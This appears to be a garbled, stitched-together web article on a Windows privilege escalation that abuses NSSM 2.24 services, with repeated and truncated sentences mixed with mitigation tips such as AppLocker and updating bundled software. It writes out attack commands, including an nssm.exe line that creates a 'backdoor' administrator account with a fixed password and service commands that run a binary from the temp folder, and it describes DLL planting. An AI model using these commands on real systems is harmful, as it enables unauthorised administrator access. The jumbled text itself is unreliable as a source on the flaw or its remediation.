Nssm224 Privilege Escalation Updated _top_

This article explores the mechanics of this local privilege escalation vulnerability, how attackers exploit it using the Non-Sucking Service Manager (NSSM), and how to secure your systems against it. What is NSSM?

file for a malicious one (e.g., a reverse shell) and wait for a system reboot or service crash. National Institute of Standards and Technology (.gov) 🛠️ Mitigation and Remediation

As of 2022, updated exploitation techniques have been developed, which involve: nssm224 privilege escalation updated

REM Step 3: Modify service to run malicious payload C:\Users\Public\nssm.exe set VulnService AppParameters "C:\Windows\System32\cmd.exe /c net users backdoor P@ssw0rd /add && net localgroup administrators backdoor /add"

Recent research (late 2024 through mid-2025) has identified three variants of the NSSM-224 technique. These are not patches to NSSM but rather new ways to abuse it in modern Windows environments. This article explores the mechanics of this local

Consider deploying application whitelisting (e.g., Windows Defender Application Control or AppLocker) to allow only signed or trusted binaries to execute. This can prevent a malicious replacement of nssm.exe from ever running, even if the file is replaced.

To mitigate this vulnerability:

binary being placed in directories where the "Everyone" group has "Full Control" or "Write" access. The "Shadow" Update:

Update any software bundling NSSM to the latest versions (e.g., Phoenix Contact DaUM version or later). National Institute of Standards and Technology (

nssm install UpdaterService "%temp%\update.exe" --silent nssm set UpdaterService AppParameters "/c whoami > C:\ProgramData\out.txt" nssm start UpdaterService

The service loads dependency files (DLLs) from directories accessible by normal users. By placing a malicious DLL named identically to a required system file into the application directory, the application loads the malicious file first. This bypasses typical binary verification systems. Exploitation Workflow